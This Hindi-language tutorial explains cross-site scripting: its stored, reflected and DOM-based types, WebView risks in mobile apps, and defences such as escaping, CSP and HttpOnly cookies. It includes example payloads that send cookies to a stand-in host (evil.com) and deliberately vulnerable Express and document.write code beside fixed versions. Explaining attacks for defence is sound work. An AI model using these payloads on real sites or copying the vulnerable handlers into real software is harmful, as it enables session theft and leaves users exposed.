XSS — यह क्या है, हमलों के प्रकार और सुरक्षा के तरीके

XSS क्या है?

XSS (Cross-Site Scripting) एक कमजोरी है जो हमलावर को एक वेब पृष्ठ में JavaScript कोड इंजेक्ट करने की अनुमति देती है, जो फिर पीड़ित के ब्राउज़र में निष्पादित होता है। ब्राउज़र एक विश्वसनीय वेबसाइट से पृष्ठ लोड करता है और इंजेक्ट की गई स्क्रिप्ट को साइट के वैध कोड के समान विशेषाधिकारों के साथ निष्पादित करता है। यह हमलावर को कुकीज़, सत्र भंडारण, पृष्ठ के DOM ट्री तक पहुंच और पीड़ित की ओर से अनुरोध भेजने की क्षमता देता है। XSS कमजोरियाँ तब होती हैं जब कोई एप्लिकेशन उचित एस्केपिंग या सत्यापन के बिना उपयोगकर्ता डेटा को HTML पृष्ठ में सम्मिलित करता है।

XSS का इतिहास और प्रासंगिकता

Cross-Site Scripting शब्द पहली बार 2000 में Microsoft सुरक्षा बुलेटिन में दिखाई दिया। पिछले 25 वर्षों में, XSS ने अपनी प्रासंगिकता नहीं खोई है: HackerOne (2025) के अनुसार, XSS प्लेटफ़ॉर्म पर पंजीकृत सभी कमजोरियों का लगभग 22% हिस्सा है। XSS के बने रहने का कारण उपयोगकर्ता डेटा के सभी प्रवेश बिंदुओं को नियंत्रित करने की कठिनाई है। कोई भी इनपुट फ़ील्ड, URL पैरामीटर, HTTP अनुरोध हेडर या फ़ाइल नाम हमले का वेक्टर बन सकता है यदि डेटा बिना प्रसंस्करण के HTML कोड में परावर्तित होता है।

XSS क्या नुकसान पहुँचाता है?

XSS हमले सत्र कुकीज़ की चोरी का कारण बन सकते हैं, जिससे हमलावर बिना पासवर्ड के पीड़ित के खाते में लॉग इन कर सकता है। अन्य परिणामों में शामिल हैं: फ़िशिंग साइटों पर रीडायरेक्ट, पृष्ठ सामग्री में हेरफेर, व्यक्तिगत डेटा की चोरी और मैलवेयर इंस्टॉलेशन (drive-by download)। 2023 में, Salesforce Community Cloud प्लेटफ़ॉर्म पर XSS हमले ने हजारों उद्यम ग्राहकों के डेटा को प्रभावित किया, जिससे यह प्रदर्शित हुआ कि बड़े प्लेटफ़ॉर्म भी इस कमजोरी से प्रतिरक्षित नहीं हैं।

XSS हमलों के प्रकार

XSS वर्गीकरण हमलों को दुर्भावनापूर्ण कोड वितरण की विधि के आधार पर तीन मुख्य प्रकारों में विभाजित करता है। प्रत्येक प्रकार को सुरक्षा के लिए एक अलग दृष्टिकोण की आवश्यकता होती है: Stored XSS को डेटाबेस से आउटपुट एस्केप करके, Reflected — URL पैरामीटर एस्केप करके, DOM-based — DOM API के साथ सुरक्षित रूप से काम करके रोका जाता है। अंतर को समझना एक प्रभावी सुरक्षा रणनीति की नींव है।

Stored XSS (स्थायी)

XSS का सबसे खतरनाक प्रकार। हमलावर एक स्क्रिप्ट को डेटा में इंजेक्ट करता है जिसे सर्वर डेटाबेस में संग्रहीत करता है और हर पृष्ठ लोड पर प्रदर्शित करता है। एक विशिष्ट वेक्टर टिप्पणी फ़ील्ड है: हमलावर <script>document.location='https://evil.com/?c='+document.cookie</script> वाली टिप्पणी पोस्ट करता है। इस टिप्पणी वाला पृष्ठ लोड करने वाला प्रत्येक उपयोगकर्ता अपनी कुकीज़ हमलावर को भेजता है। Stored XSS को पीड़ित से पृष्ठ पर जाने के अलावा किसी कार्रवाई की आवश्यकता नहीं होती — जो इसे सोशल नेटवर्क, फ़ोरम और ब्लॉग के लिए विशेष रूप से खतरनाक बनाता है।

Reflected XSS (परावर्तित)

दुर्भावनापूर्ण स्क्रिप्ट HTTP अनुरोध में (आमतौर पर URL पैरामीटर में) पारित की जाती है और सर्वर द्वारा तुरंत प्रतिक्रिया में परावर्तित की जाती है। हमलावर https://example.com/search?q=<script>...</script> जैसा लिंक बनाता है और इसे फ़िशिंग, सोशल नेटवर्क या ईमेल के माध्यम से वितरित करता है। लिंक पर क्लिक करने वाले पीड़ित को एक ऐसा पृष्ठ मिलता है जहां दर्ज खोज क्वेरी (स्क्रिप्ट) बिना एस्केपिंग के प्रदर्शित होती है। Reflected XSS के लिए सोशल इंजीनियरिंग की आवश्यकता होती है — पीड़ित को लिंक पर क्लिक करना होता है, जो जोखिम को कम करता है लेकिन समाप्त नहीं करता।

DOM-based XSS

Stored और Reflected के विपरीत, DOM-based XSS को सर्वर को डेटा भेजने की आवश्यकता नहीं होती। कमजोरी तब उत्पन्न होती है जब क्लाइंट-साइड JavaScript सुरक्षित प्रसंस्करण के बिना URL, document.referrer, postMessage या localStorage से उपयोगकर्ता डेटा को DOM में सम्मिलित करता है। उदाहरण के लिए, document.getElementById('output').innerHTML = location.hash.substring(1) जैसा कोड URL खंड (#<img onerror='...'>) से किसी भी HTML और स्क्रिप्ट को निष्पादित करता है। DOM-based XSS का पता लगाना सबसे कठिन है क्योंकि सर्वर को कभी भी दुर्भावनापूर्ण पेलोड प्राप्त नहीं होता — यह पूरी तरह से क्लाइंट पर संसाधित होता है।

// DOM-based XSS उदाहरण (कमजोर कोड)
// यदि userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
    window.location.search
).get('message');

// document.write — खतरनाक: कच्चा HTML डालता है
document.write('<div>' + userInput + '</div>');

// सुरक्षित विकल्प — textContent का उपयोग करें
document.getElementById('output').textContent = userInput;

XSS हमला कैसे काम करता है?

XSS वेब की एक मौलिक संपत्ति का शोषण करता है: ब्राउज़र एक विश्वसनीय डोमेन से प्राप्त JavaScript को निष्पादित करता है। यदि हमलावर सर्वर के HTML प्रतिक्रिया में अपना कोड इंजेक्ट करने का तरीका ढूंढता है, तो ब्राउज़र इसे वैध कोड के समान विशेषाधिकारों के साथ निष्पादित करता है। हमला तीन चरणों से गुजरता है: सामग्री में दुर्भावनापूर्ण कोड का इंजेक्शन, पीड़ित के ब्राउज़र में सामग्री की डिलीवरी, और DOM, कुकीज़ और स्टोरेज तक पहुंच के साथ कोड निष्पादन।

इंजेक्शन चरण

हमलावर एक प्रवेश बिंदु ढूंढता है — एक फ़ील्ड, URL पैरामीटर या हेडर जिसका मान सर्वर बिना एस्केपिंग के HTML प्रतिक्रिया में शामिल करता है। विशिष्ट प्रवेश बिंदुओं में शामिल हैं: खोज बार, टिप्पणी फ़ील्ड, उपयोगकर्ता नाम, अवतार URL, कुकीज़, HTTP हेडर (User-Agent, Referer)। आधुनिक फ्रेमवर्क (React, Angular, Vue) स्वचालित रूप से आउटपुट एस्केप करते हैं, लेकिन डेवलपर dangerouslySetInnerHTML, bypassSecurityTrustHtml या v-html के माध्यम से एस्केपिंग को अक्षम कर सकते हैं।

डिलीवरी चरण

Reflected XSS के लिए, हमलावर दुर्भावनापूर्ण लिंक वितरित करता है। Stored XSS के लिए, लक्ष्य साइट पर सामग्री प्रकाशित करना पर्याप्त है, और पृष्ठ का प्रत्येक आगंतुक पीड़ित बन जाता है। DOM-based XSS एक विशिष्ट URL खंड के साथ पृष्ठ लोड होने पर सक्रिय होता है। तीनों चरणों को स्वचालित किया जा सकता है: यदि किसी विज्ञापन बैनर (तृतीय-पक्ष सामग्री) में XSS पाया जाता है, तो हमला बैनर हटाए जाने तक साइट के सभी उपयोगकर्ताओं को प्रभावित करेगा।

// खोज में Reflected XSS उदाहरण (कमजोर बैकएंड)
// पैरामीटर q को एस्केप करने के बजाय, सर्वर इसे HTML में डालता है

// Express.js — कमजोर हैंडलर:
app.get('/search', (req, res) => {
    const query = req.query.q; // उपयोगकर्ता इनपुट
    res.send(`<h1>Results for: ${query}</h1>`);
});

// सुरक्षित संस्करण — encodeURI या टेम्पलेट इंजन के माध्यम से एस्केपिंग:
app.get('/search', (req, res) => {
    const query = escapeHtml(req.query.q);
    res.send(`<h1>Results for: ${query}</h1>`);
});

function escapeHtml(text) {
    return text
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;');
}

मोबाइल एप्लिकेशन में XSS

मोबाइल एप्लिकेशन भी XSS हमलों के लिए संवेदनशील हैं, हालांकि वेबसाइटों की तुलना में कुछ हद तक कम। मुख्य वेक्टर WebView और हाइब्रिड फ्रेमवर्क (Cordova, Capacitor, React Native with WebView) हैं। यदि ऐप WebView में वेब सामग्री लोड करता है — विशेष रूप से उपयोगकर्ता सामग्री (HTML ईमेल, लेख, संदेश) — तो XSS कमजोरी JavaScript ब्रिज के माध्यम से मूल कार्यों तक पहुंच के साथ ऐप के अंदर JavaScript निष्पादन का कारण बन सकती है।

Android WebView में XSS

Android WebView डिफ़ॉल्ट रूप से JavaScript निष्पादित करता है। यदि ऐप loadDataWithBaseURL() के माध्यम से HTML स्ट्रिंग लोड करता है या उपयोगकर्ता सामग्री प्रदर्शित करता है, तो XSS हमला हमलावर को JavaScript इंटरफ़ेस (addJavascriptInterface) तक पहुंच दे सकता है। Google ने API < 17 के लिए @JavascriptInterface के उपयोग पर प्रतिबंध लगा दिया, लेकिन पुराने ऐप्स में लीगेसी कोड अभी भी मौजूद है। सुरक्षा: यदि आवश्यक न हो तो WebView में JavaScript अक्षम करें, और सुरक्षित ब्राउज़िंग का उपयोग करें।

React Native और Flutter में XSS

React Native UI के लिए WebView का उपयोग नहीं करता — घटक मूल व्यू में रेंडर होते हैं। हालांकि, react-native-webview या रिच-टेक्स्ट घटकों के माध्यम से HTML प्रदर्शित करते समय, XSS जोखिम वापस आ जाता है। Flutter अपने स्वयं के रेंडरिंग इंजन (Skia) का उपयोग करता है और HTML विजेट में JavaScript का समर्थन नहीं करता (flutter_html स्क्रिप्ट टैग निष्पादित नहीं करता), लेकिन WebView प्लगइन (webview_flutter) मूल WebView के समान ही संवेदनशील हैं। सर्वोत्तम अभ्यास — कभी भी अविश्वसनीय HTML को WebView में पास न करें।

• WebView में JavaScript अक्षम करें यदि सामग्री को इंटरैक्टिविटी की आवश्यकता नहीं है
• CSP हेडर का उपयोग करें WebView में स्क्रिप्ट स्रोतों को प्रतिबंधित करने के लिए
• HTML को सैनिटाइज़ करें WebView में लोड करने से पहले: स्क्रिप्ट टैग और इवेंट हैंडलर हटाएं
• Android पर addJavascriptInterface का उपयोग न करें आने वाले डेटा के सख्त सत्यापन के बिना

// Android में सुरक्षित WebView कॉन्फ़िगरेशन
val webView = findViewById<WebView>(R.id.webview)

// यदि इंटरैक्टिविटी की आवश्यकता नहीं है तो JavaScript अक्षम करें
webView.settings.javaScriptEnabled = false

// लोड करने से पहले HTML सैनिटाइज़ करें
val sanitizedHtml = Jsoup.clean(userHtml,
    Whitelist.basic()
        .removeProtocols("img", "src", "javascript")
)

webView.loadDataWithBaseURL(null, sanitizedHtml,
    "text/html", "UTF-8", null)

XSS रोकथाम के तरीके

XSS से सुरक्षा तीन सिद्धांतों पर बनी है: उपयोगकर्ता इनपुट पर भरोसा न करें, आउटपुट से पहले एस्केप करें, Content Security Policy का उपयोग करें। आउटपुट एन्कोडिंग सबसे महत्वपूर्ण तरीका है: उपयोगकर्ता से प्राप्त सभी डेटा को HTML, JavaScript, CSS या URL में डालने से पहले एस्केप किया जाना चाहिए। आधुनिक टेम्पलेट इंजन (Twig, Handlebars, JSX, Blade) यह स्वचालित रूप से करते हैं जब तक कि डेवलपर विशेष विधियों से एस्केपिंग अक्षम न करे।

प्रासंगिक एस्केपिंग

एस्केपिंग डेटा सम्मिलन के संदर्भ पर निर्भर करती है। HTML संदर्भ में, <, >, & और उद्धरण चिह्न एस्केप किए जाते हैं। JavaScript संदर्भ में, बैकटिक, और </script> एस्केप किए जाते हैं। CSS संदर्भ में — नियंत्रण वर्ण। URL संदर्भ में — URL एन्कोडिंग। संदर्भ त्रुटि — उदाहरण के लिए, onclick विशेषता में HTML-एस्केप की गई स्ट्रिंग डालना — XSS से रक्षा नहीं करती क्योंकि onclick JavaScript संदर्भ में निष्पादित होता है जहां अलग एस्केपिंग की आवश्यकता होती है।

Content Security Policy (CSP)

CSP एक HTTP हेडर है जो उन स्रोतों को सीमित करता है जहां से ब्राउज़र स्क्रिप्ट, शैलियाँ और अन्य संसाधन लोड कर सकता है। सख्त CSP (unsafe-inline के बिना, unsafe-eval के बिना) किसी भी इनलाइन स्क्रिप्ट के निष्पादन को अवरुद्ध करता है, जिसमें XSS वेक्टर शामिल हैं। Google Security Blog (2025) के अनुसार, CSP वाली साइटें 95% XSS हमलों को अवरुद्ध करती हैं। उदाहरण: Content-Security-Policy: default-src 'self'; script-src 'self' किसी भी बाहरी और इनलाइन स्क्रिप्ट को प्रतिबंधित करता है। CSP Stored XSS से रक्षा नहीं करता यदि स्क्रिप्ट उसी डोमेन से लोड की जाती है, लेकिन इसके लिए हमलावर से अतिरिक्त प्रयास की आवश्यकता होती है।

HttpOnly और Secure कुकीज़

कुकीज़ के लिए HttpOnly ध्वज सेट करना JavaScript (document.cookie) के माध्यम से उन तक पहुंच को रोकता है, जो XSS के माध्यम से सत्र कुकी चोरी को अवरुद्ध करता है। Secure ध्वज सुनिश्चित करता है कि कुकी केवल HTTPS पर प्रसारित हो। HttpOnly + Secure + SameSite=Lax का संयोजन XSS के माध्यम से सत्र कुकी चोरी को व्यावहारिक रूप से असंभव बनाता है। हालांकि, XSS अभी भी उपयोगकर्ता की ओर से कार्रवाई कर सकता है (जैसे अनुरोध भेजना), इसलिए HttpOnly कोई रामबाण नहीं बल्कि एक व्यापक सुरक्षा का हिस्सा है।

XSS का पता लगाने के उपकरण

नियमित XSS परीक्षण सुरक्षित विकास CI/CD पाइपलाइन का एक अनिवार्य हिस्सा है। स्वचालित स्कैनर 80% तक XSS कमजोरियाँ ढूंढते हैं; बाकी के लिए मैन्युअल पेनिट्रेशन टेस्टिंग की आवश्यकता होती है। सबसे अच्छा दृष्टिकोण SAST (स्थैतिक) विश्लेषण, DAST (गतिशील) स्कैनिंग और उपयोगकर्ता डेटा प्रवेश बिंदुओं पर ध्यान केंद्रित कोड समीक्षा का संयोजन है।

• OWASP ZAP — मुफ्त DAST स्कैनर, वेब एप्लिकेशन में स्वचालित रूप से XSS ढूंढता है
• Burp Suite Professional — XSS के लिए Active Scan और Intruder के साथ उन्नत उपकरण
• XSStrike — पेलोड जनरेशन के साथ विशिष्ट XSS स्कैनर
• ESLint-plugin-security — खतरनाक पैटर्न के लिए React/JSX का स्थैतिक विश्लेषण
• Google Observatory — CSP हेडर और XSS-संबंधित कॉन्फ़िगरेशन की जाँच करता है

मोबाइल एप्लिकेशन के लिए, XSS परीक्षण में WebView विश्लेषण शामिल है: JavaScript इंटरफ़ेस की जाँच, URL स्कीम हैंडलिंग, और loadDataWithBaseURL में HTML पास करना। हाइब्रिड एप्लिकेशन में postMessage हैंडलिंग का परीक्षण करने और JavaScript ब्रिज के माध्यम से कौन सा डेटा पास किया जाता है, यह जाँचने की भी सिफारिश की जाती है। मोबाइल ऐप ट्रैफ़िक को इंटरसेप्ट और संशोधित करने के लिए प्रॉक्सी (Burp Suite) के साथ एक एमुलेटर का उपयोग करें।